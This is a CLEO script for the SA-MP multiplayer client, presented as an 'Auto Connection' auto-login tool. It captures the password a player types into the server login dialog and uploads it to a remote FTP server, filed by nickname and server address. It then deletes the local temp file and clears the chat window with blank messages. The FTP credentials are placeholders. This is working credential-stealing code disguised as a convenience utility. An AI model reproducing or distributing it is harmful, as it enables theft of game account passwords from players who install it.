[CLEO][SOURCE] Auto Connection

{$CLEO}
0000:

if 1@ = SAMP.Base()
then while not SAMP.Available()
        wait 0
    end
    for 1@ = 0 to 99
        SAMP.AddChatMessage("", 0xFFFFFF)
    end
else end_thread
end

0AC8: 0@ = allocate_memory_size 60
0AC8: 1@ = allocate_memory_size 60
0AC8: 2@ = allocate_memory_size 60
0AD3: 0@ = "server"
0AD3: 1@ = "login"
0AD3: 2@ = "pass"
0AB1: @Connect_to_FTP_server 3 server 0@ login 1@ password 2@ return: connection 25@
0AD3: 0@ = "CLEO/CLEO_TEXT/log.txt"
4@ = SAMP.GetSAMPPlayerIDByActorHandle($player_actor)
4@ = SAMP.GetPlayerNickname(4@)
0B39: samp get_current_server_address 2@ port 6@
0AD3: 1@ = format "/ACCOUNTS/%s[%s:%d].txt" 4@ 2@ 6@
if 0AB1: @FTP_get_file 3 hConntection 25@ remote_file 1@ local_file 0@ //return: 8@
then
    2@ = File.Open("CLEO\CLEO_TEXT\log.txt", "rt")
    File.ReadString(2@, 0@, 60)
    File.Close(2@)
    0B00: delete_file "CLEO\CLEO_TEXT\log.txt"
    0AB1: @InternetCloseHandle 1 connection 25@
    5@ = 1
else 5@ = 0
end

/*
После выполнений остается следующее:
0@ - текущий пароль
4@ - ник-нейм
5@ - найден ли пароль
25@ - подключение
*/

while true
    wait 0
    if SAMP.IsDialogActive(1)
    then
        if 5@ == 0
        then
            0AC8: 0@ = allocate_memory_size 128
            repeat
                wait 0
                0@ = SAMP.GetDialogInputBoxText()
            until not SAMP.IsDialogActive(1)
            7@ = File.Open("CLEO\CLEO_TEXT\temp.txt", "wt")
            File.WriteString(7@, 0@)
            File.Close(7@)
            0B39: samp get_current_server_address 2@ port 6@
            0AD3: 1@ = format "/ACCOUNTS/%s[%s:%d].txt" 4@ 2@ 6@
            0AD3: 2@ = "CLEO/CLEO_TEXT/temp.txt"
            if 0AB1: @FTP_put_file 3 connection 25@ local 2@ remote 1@
            then 5@ = 1
            end
            0AB1: @InternetCloseHandle 1 connection 25@
            0B00: delete_file "CLEO\CLEO_TEXT\temp.txt"
        else
            SAMP.SetDialogInputBoxText(0@)
            SAMP.CloseDialog(1)
        end
    end
end

{$INCLUDE CLEO\INCLUDES\FTP.txt}